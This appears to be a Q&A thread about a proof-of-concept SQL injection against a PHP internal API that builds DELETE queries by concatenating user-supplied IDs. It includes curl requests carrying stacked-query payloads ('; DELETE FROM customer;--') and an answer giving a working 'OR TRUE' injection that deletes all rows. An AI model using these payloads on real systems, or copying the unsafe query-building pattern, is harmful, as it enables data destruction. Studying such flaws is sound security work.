MySQL error when SQL injecting valid command

Question

I have internal API tool to clear database tables for testing, the code is unsafe and I want to write a small PoC. I however have troubles successfully executing this basic SQL-injection.

This function generates the query which will be executed:

 private function createQuery(Table $table): string { if ('' === $table->conditional()) { return sprintf('DELETE FROM `%s`;', $table->name()); } return sprintf('DELETE FROM `%s` WHERE %s;', $table->name(), $table->conditional()); } 

It is possible to pass specific IDs to the API to not delete the whole table, but only specific rows. The conditional string is made like this:

 public static function createConditional(string $primaryKey, array $ids, bool $hexPrimaryKey = true): string { if ([] === $ids) { return ''; } return $primaryKey.' in (' . implode('", "', $hexPrimaryKey ? array_map(static fn ($id) => '0x'. $id, $ids) : array_map(static fn ($id) => '"'. $id . '"', $ids)) .')'; } 

Finally the query is executed

 $query = $this->createQuery($table); //dd($query); $affectedRows = (int) $this->connection->executeStatement($query); 

A normal request generates the following query:

curl -X POST http://127.0.0.1:8000/api/table-cleanup -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d '{"types": {"products": ["11dc680240b04f469ccba354cbf0b967"]}}' => DELETE FROM `product` WHERE id in (0x11dc680240b04f469ccba354cbf0b967); 

I am trying to craft a query to delete another table:

curl -X POST http://127.0.0.1:8000/api/table-cleanup -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d '{"types": {"products": ["11dc680240b04f469ccba354cbf0b967; DELETE FROM customer;--"]}}' => DELETE FROM `product` WHERE id in (0x11dc680240b04f469ccba354cbf0b967; DELETE FROM customer;--) 

Parsing the generated query in my mysql-cli gives this output but does delete the table:

mysql> DELETE FROM `product` WHERE id in (0x11dc680240b04f469ccba354cbf0b967; DELETE FROM customer;--) ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 Query OK, 1 row affected (0.00 sec) -> ; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--)' at line 1 

But in PHP it just gives an error but doesn't delete anything.

Another attempt:

curl -X POST http://127.0.0.1:8000/api/table-cleanup -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d '{"types": {"carts": ["0; \";DELETE FROM customer;; -- "]}}' | lynx -stdin => DELETE FROM `cart` WHERE token in ("0; ";DELETE FROM customer;; -- "); 

Again, works in the mysql-cli but in PHP gives this error:

 SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \u0027;DELETE FROM customer;; -- \u0022)\u0027 at line 1" 

Answer 1

None of what you've shown is syntactically valid SQL. For example, an opening parenthesis needs to be closed at some point. The same is true for double quotes. This isn't specific to SQL injection attacks; it's basic syntax.

Besides that, you cannot simply append another query to the current one. Executing multiple queries are a special feature of some database systems (like MySQL) which, depending on the database interface, requires the application to call a separate function or enable a particular setting.

In general, injection attacks only allow you to manipulate the current query, e.g., by changing the condition of the the WHERE clause.

For example, in this case you could delete all rows by injecting 0) OR TRUE -- . This results in the following query:

DELETE FROM `product` WHERE id in (0x0) OR TRUE -- ) 

The 0x0 is just a dummy value to fill the list of the IN condition. By using OR TRUE, the WHERE condition is always fulfilled, regardless of the part before. And a comment is used to to get rid of the trailing parenthesis which comes from the original IN list.